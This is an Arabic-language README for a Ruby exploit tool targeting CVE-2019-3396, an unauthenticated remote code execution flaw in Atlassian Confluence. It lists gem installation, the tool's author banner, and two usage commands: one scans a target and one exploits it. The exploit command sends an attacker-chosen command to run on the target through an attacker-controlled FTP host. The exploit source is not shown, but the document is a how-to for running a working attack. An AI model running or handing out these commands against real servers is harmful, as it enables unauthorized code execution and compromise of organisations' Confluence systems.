cve-2019-3396

ثغرة RCE غير مصادق عليها في Confluence (cve-2019-3396)

إعداد مكتبات الاستغلال

bundle install

تشغيل

┌──(user㉿hostname)-[~/path/to/cve-2019-3396]
└─$ ruby cve-2019-3396.rb 

        exploit   ->    CVE-2019-3396
        Author    ->    Abdallah Mohamed Elsharif
        Greetz to Ghost5egy and Hamza Abdulrahman and Omar and Alaa

        Usage: 
                ruby cve-2019-3396.rb [options] Or --help

مسح

ruby cve-2019-3396.rb -t TARGET --scan

استغلال

ruby cve-2019-3396.rb -t TARGET --ftp-serv FTPHOST -c COMMAND